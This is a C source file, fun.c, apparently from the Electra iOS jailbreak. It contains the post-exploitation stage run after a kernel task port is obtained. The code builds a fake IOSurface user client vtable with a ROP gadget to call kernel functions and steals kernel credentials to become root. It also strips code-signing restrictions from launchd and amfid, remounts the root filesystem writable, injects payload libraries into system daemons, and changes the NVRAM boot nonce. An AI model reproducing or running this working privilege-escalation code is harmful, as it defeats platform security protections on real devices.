fun.c 15 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399
  1. //
  2. // fun.c
  3. // async_wake_ios
  4. //
  5. // Created by George on 14/12/17.
  6. // Copyright © 2017 Ian Beer. All rights reserved.
  7. //
  8. #include "fun.h"
  9. #include "kmem.h"
  10. #include "IOKit.h"
  11. #include "kutils.h"
  12. #include "utils.h"
  13. #include "apfs_util.h"
  14. #include "file_utils.h"
  15. #include "amfi_utils.h"
  16. #include "bootstrap.h"
  17. #include "codesign.h"
  18. #include "offsetof.h"
  19. #include "unlocknvram.h"
  20. #include "remap_tfp_set_hsp.h"
  21. #include <dlfcn.h>
  22. #include <CommonCrypto/CommonDigest.h>
  23. #include "xpc_minimal.h"
  24. #include "topangadetect.h"
  25. #include "unliberios.h"
  26. #include "removeElectrabeta.h"
  27. #include "fun_objc.h"
  28. #include "nonce.h"
  29. mach_port_t tfpzero;
  30. #define OSDictionary_ItemCount(dict) rk32_electra(dict+20)
  31. #define OSDictionary_ItemBuffer(dict) rk64_electra(dict+32)
  32. #define OSDictionary_ItemKey(buffer, idx) rk64_electra(buffer+16*idx)
  33. #define OSDictionary_ItemValue(buffer, idx) rk64_electra(buffer+16*idx+8)
  34. uint32_t SetObjectWithCharP = 8*31;
  35. #define OSDictionary_SetItem(dict, str, val) {\
  36. uint64_t s = kalloc(strlen(str)+1); kwrite_electra(s, str, strlen(str)); \
  37. kexecute(rk64_electra(rk(dict)+SetObjectWithCharP), dict, s, val, 0, 0, 0, 0); \
  38. }
  39. #define OSString_CStringPtr(str) rk64_electra(str+0x10)
  40. // MARK: - Post exploit patching
  41. bool acknowledgeSnapshotWarning = false;
  42. void snapshotWarningRead(void){
  43. acknowledgeSnapshotWarning = true;
  44. }
  45. int begin_fun(mach_port_t tfp0, mach_port_t user_client, bool enable_tweaks) {
  46. kern_return_t err;
  47. tfpzero = tfp0;
  48. // Loads the kernel into the patch finder, which just fetches the kernel memory for patchfinder use
  49. init_kernel(find_kernel_base(), NULL);
  50. // Get the slide
  51. uint64_t kernel_base_electra = find_kernel_base();
  52. uint64_t slide = kernel_base_electra - 0xFFFFFFF007004000;
  53. //printf("\nslide: 0x%016llx\n", slide);
  54. writeMessagePlain("\nslide: 0x%016llx\n", slide);
  55. // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
  56. uint64_t IOSurfaceRootUserClient_port = find_port_address_electra(user_client, MACH_MSG_TYPE_MAKE_SEND); // UserClients are just mach_ports, so we find its address
  57. uint64_t IOSurfaceRootUserClient_addr = rk64_electra(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field
  58. uint64_t IOSurfaceRootUserClient_vtab = rk64_electra(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
  59. // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
  60. // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
  61. // Create the vtable in the kernel memory, then copy the existing vtable into there
  62. uint64_t fake_vtable = kalloc(0x1000);
  63. writeMessagePlain("Created fake_vtable at %016llx\n", fake_vtable);
  64. for (int i = 0; i < 0x200; i++) {
  65. wk64_electra(fake_vtable+i*8, rk64_electra(IOSurfaceRootUserClient_vtab+i*8));
  66. }
  67. writeMessagePlain("Copied some of the vtable over\n");
  68. // Create the fake user client
  69. uint64_t fake_client = kalloc(0x1000);
  70. writeMessagePlain("Created fake_client at %016llx\n", fake_client);
  71. for (int i = 0; i < 0x200; i++) {
  72. wk64_electra(fake_client+i*8, rk64_electra(IOSurfaceRootUserClient_addr+i*8));
  73. }
  74. writeMessagePlain("Copied the user client over\n");
  75. // Write our fake vtable into the fake user client
  76. wk64_electra(fake_client, fake_vtable);
  77. // Replace the user client with ours
  78. wk64_electra(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_client);
  79. // Now the userclient port we have will look into our fake user client rather than the old one
  80. // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
  81. wk64_electra(fake_vtable+8*0xB7, find_add_x0_x0_0x40_ret());
  82. writeMessagePlain("Wrote the `add x0, x0, #0x40; ret;` gadget over getExternalTrapForIndex\n");
  83. // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
  84. // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
  85. // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
  86. // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
  87. // through like normal.
  88. // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
  89. // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
  90. // (i'm not actually sure if the switch back is necessary but meh
  91. #define KCALL(addr, x0, x1, x2, x3, x4, x5, x6) \
  92. do { \
  93. uint64_t offx20 = rk64_electra(fake_client+0x40); \
  94. uint64_t offx28 = rk64_electra(fake_client+0x48); \
  95. wk64_electra(fake_client+0x40, x0); \
  96. wk64_electra(fake_client+0x48, addr); \
  97. err = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6)); \
  98. wk64_electra(fake_client+0x40, offx20); \
  99. wk64_electra(fake_client+0x48, offx28); \
  100. } while (0);
  101. // Get our and the kernels struct proc from allproc
  102. uint32_t our_pid = getpid();
  103. uint64_t our_proc = 0;
  104. uint64_t kern_proc = 0;
  105. uint64_t amfid_proc = 0;
  106. uint32_t amfid_pid = 0;
  107. uint32_t cfprefsd_pid = 0;
  108. uint32_t backboardd_pid = 0;
  109. bool found_jailbreakd = false;
  110. uint64_t proc = rk64_electra(find_allproc_electra());
  111. while (proc) {
  112. uint32_t pid = (uint32_t)rk32_electra(proc + offsetof_p_pid);
  113. char name[40] = {0};
  114. kread_electra(proc+0x268, name, 20);
  115. if (pid == our_pid) {
  116. our_proc = proc;
  117. } else if (pid == 0) {
  118. kern_proc = proc;
  119. } else if (pid == 1){
  120. writeMessagePlain("found launchd\n");
  121. uint32_t csflags = rk32_electra(proc + offsetof_p_csflags);
  122. wk32_electra(proc + offsetof_p_csflags, (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW) & ~(CS_RESTRICT | CS_HARD));
  123. } else if (strstr(name, "amfid")) {
  124. writeMessagePlain("found amfid - getting task\n");
  125. amfid_proc = proc;
  126. amfid_pid = pid;
  127. uint32_t csflags = rk32_electra(proc + offsetof_p_csflags);
  128. wk32_electra(proc + offsetof_p_csflags, (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW) & ~(CS_RESTRICT | CS_HARD));
  129. } else if (strstr(name, "cfprefsd")){
  130. writeMessagePlain("found cfprefsd. keeping PID\n");
  131. cfprefsd_pid = pid;
  132. } else if (strstr(name, "backboardd")){
  133. writeMessagePlain("found backboardd. keeping PID\n");
  134. backboardd_pid = pid;
  135. } else if (strstr(name, "jailbreakd")){
  136. writeMessagePlain("found jailbreakd. already jailbroken!\n");
  137. found_jailbreakd = true;
  138. }
  139. proc = rk64_electra(proc);
  140. }
  141. if (found_jailbreakd){
  142. wk64_electra(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), IOSurfaceRootUserClient_addr);
  143. return -1;
  144. }
  145. writeMessagePlain("our proc is at 0x%016llx\n", our_proc);
  146. writeMessagePlain("kern proc is at 0x%016llx\n", kern_proc);
  147. // Properly copy the kernel's credentials so setuid(0) doesn't crash
  148. uint64_t kern_ucred = 0;
  149. KCALL(find_copyout_electra(), kern_proc+0x100, &kern_ucred, sizeof(kern_ucred), 0, 0, 0, 0);
  150. uint64_t self_ucred = 0;
  151. KCALL(find_copyout_electra(), our_proc+0x100, &self_ucred, sizeof(self_ucred), 0, 0, 0, 0);
  152. KCALL(find_bcopy_electra(), kern_ucred + 0x78, self_ucred + 0x78, sizeof(uint64_t), 0, 0, 0, 0);
  153. KCALL(find_bzero_electra(), self_ucred + 0x18, 12, 0, 0, 0, 0, 0);
  154. setuid(0);
  155. writeMessagePlain("our uid is %d\n", getuid());
  156. // Test writing to file
  157. {
  158. FILE *f = fopen("/var/mobile/test.txt", "w");
  159. if (f == 0) {
  160. writeMessagePlain("failed to write test file");
  161. } else {
  162. writeMessagePlain("wrote test file: %p\n", f);
  163. }
  164. unlink("/var/mobile/test.txt");
  165. }
  166. // Remap tfp0
  167. {
  168. mach_port_t real_tfp0 = MACH_PORT_NULL;
  169. if (remap_tfp0_set_hsp4(&real_tfp0)) {
  170. real_tfp0 = MACH_PORT_NULL;
  171. }
  172. writeMessagePlain("remapped tfp0: 0x%x\n", real_tfp0);
  173. }
  174. unlocknvram();
  175. // Only set a generator if one is not already set or if the user has specified one
  176. const char *currentgen = getgen();
  177. if (!currentgen || userGenerator()) {
  178. const char *gen = genToSet();
  179. // Only actually set the generator if it is not already set
  180. if (!currentgen || strcasecmp(currentgen, gen) != 0) {
  181. printf("Setting generator to %s\n", gen);
  182. printf("ret: %d\n", setgen(gen));
  183. } else {
  184. printf("Requested generator already set: %s\n", gen);
  185. }
  186. }
  187. locknvram();
  188. // Remount / as rw - patch by xerub with nosuid patch added by coolstar
  189. {
  190. uint64_t _rootvnode = find_rootvnode();
  191. uint64_t rootfs_vnode = rk64_electra(_rootvnode);
  192. uint64_t v_mount = rk64_electra(rootfs_vnode + offsetof_v_mount);
  193. uint32_t v_flag = rk32_electra(v_mount + offsetof_mnt_flag);
  194. v_flag = v_flag & ~MNT_NOSUID;
  195. v_flag = v_flag & ~MNT_RDONLY;
  196. wk32_electra(v_mount + offsetof_mnt_flag, v_flag & ~MNT_ROOTFS);
  197. char *nmz = strdup("/dev/disk0s1s1");
  198. int rv = mount("apfs", "/", MNT_UPDATE, (void *)&nmz);
  199. writeMessagePlain("remounting: %d\n", rv);
  200. v_mount = rk64_electra(rootfs_vnode + offsetof_v_mount);
  201. wk32_electra(v_mount + offsetof_mnt_flag, v_flag);
  202. int fd = open("/.bit_of_fun", O_RDONLY);
  203. if (fd == -1) {
  204. fd = creat("/.bit_of_fun", 0644);
  205. } else {
  206. writeMessagePlain("File already exists!\n");
  207. }
  208. close(fd);
  209. }
  210. printf("Did we mount / as read+write? %s\n", file_exists_electra("/.bit_of_fun") ? "yes" : "no");
  211. unlink("/.bit_of_fun");
  212. pid_t pd;
  213. int rv = 0;
  214. // MARK: Bootstrap
  215. copy_basebinaries();
  216. #define BinaryLocation "/electra/inject_criticald"
  217. const char* args_amfid[] = {BinaryLocation, itoa_electra(amfid_pid), "/electra/amfid_payload.dylib", NULL};
  218. rv = posix_spawn(&pd, BinaryLocation, NULL, NULL, (char **)&args_amfid, NULL);
  219. waitpid(pd, NULL, 0);
  220. unlink("/.amfid_success");
  221. const char *args_helloworld[] = {"helloworld", NULL};
  222. rv = posix_spawn(&pd, "/electra/helloworld", NULL, NULL, (char **)&args_helloworld, NULL);
  223. waitpid(pd, NULL, 0);
  224. if (!file_exists_electra("/.amfid_success")){
  225. wk64_electra(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), IOSurfaceRootUserClient_addr);
  226. return -3;
  227. }
  228. unlink("/.amfid_success");
  229. int bootstrapped = open("/.bootstrapped_electra", O_RDONLY);
  230. if (bootstrapped == -1) {
  231. if (checkLiberiOS()){
  232. removingLiberiOS();
  233. removeLiberiOS();
  234. }
  235. /*
  236. if (topangaInstalled()){
  237. close(bootstrapped);
  238. wk64_electra(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), IOSurfaceRootUserClient_addr);
  239. unlink("/electra/rm");
  240. return -2;
  241. }
  242. */
  243. removingElectraBeta();
  244. removeElectraBeta();
  245. writeMessagePlain("APFS Snapshots: \n");
  246. writeMessagePlain("=========\n");
  247. list_snapshots("/");
  248. writeMessagePlain("=========\n");
  249. int snapshot = check_snapshot("/", "electra-prejailbreak");
  250. if (snapshot == 1){
  251. writeMessagePlain("Snapshot exists!\n");
  252. } else if (snapshot == 0){
  253. rename("/electra/createSnapshot", "/createSnapshot");
  254. rv = posix_spawn(&pd, "/electra/rm", NULL, NULL, (char **)&(const char*[]){ "rm", "-rf", "/electra", NULL }, NULL);
  255. waitpid(pd, NULL, 0);
  256. rv = posix_spawn(&pd, "/createSnapshot", NULL, NULL, (char **)&(const char*[]){ "createSnapshot", NULL }, NULL);
  257. waitpid(pd, NULL, 0);
  258. writeMessagePlain("APFS Snapshots: \n");
  259. writeMessagePlain("=========\n");
  260. list_snapshots("/");
  261. writeMessagePlain("=========\n");
  262. snapshot = check_snapshot("/", "electra-prejailbreak");
  263. if (snapshot != 1){
  264. return -5;
  265. }
  266. acknowledgeSnapshotWarning = false;
  267. displaySnapshotNotice();
  268. while (!acknowledgeSnapshotWarning){
  269. usleep(100);
  270. }
  271. copy_basebinaries();
  272. }
  273. } else {
  274. int snapshot = check_snapshot("/", "electra-prejailbreak");
  275. if (snapshot != 1){
  276. if (!file_exists_electra("/.electra_no_snapshot")){
  277. acknowledgeSnapshotWarning = false;
  278. displaySnapshotWarning();
  279. while (!acknowledgeSnapshotWarning){
  280. usleep(100);
  281. }
  282. int rv = open("/.electra_no_snapshot", O_RDWR|O_CREAT);
  283. close(rv);
  284. }
  285. }
  286. }
  287. close(bootstrapped);
  288. extract_bootstrap();
  289. unlink("/electra/createSnapshot");
  290. unlink("/electra/rm");
  291. // MARK: - Cleanup
  292. wk64_electra(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), IOSurfaceRootUserClient_addr);
  293. writeMessagePlain("Starting server...\n");
  294. start_jailbreakd(kernel_base_electra);
  295. while (!file_exists_electra("/var/run/jailbreakd.pid")){
  296. writeMessagePlain("Waiting for jailbreakd...\n");
  297. usleep(100000); //100 ms
  298. }
  299. //update_springboard_plist();
  300. kill(cfprefsd_pid, SIGKILL);
  301. if (enable_tweaks) {
  302. const char* args_launchd[] = {BinaryLocation, itoa_electra(1), "/electra/pspawn_payload.dylib", NULL};
  303. rv = posix_spawn(&pd, BinaryLocation, NULL, NULL, (char **)&args_launchd, NULL);
  304. waitpid(pd, NULL, 0);
  305. }
  306. wk64_electra(rk64_electra(kern_ucred+0x78)+0x8, 0);
  307. if (enable_tweaks){
  308. startDaemons();
  309. sleep(2);
  310. //ldrestart puts our device in a state that is unrecovered until reboot, not sure why.
  311. /*
  312. const char* args_ldrestart[] = {"ldrestart", itoa_electra(1), "/usr/bin/ldrestart", NULL};
  313. rv = posix_spawn(&pd, "/usr/bin/ldrestart", NULL, NULL, (char **)&args_ldrestart, NULL);
  314. waitpid(pd, NULL, 0);
  315. */
  316. }
  317. return 0;
  318. }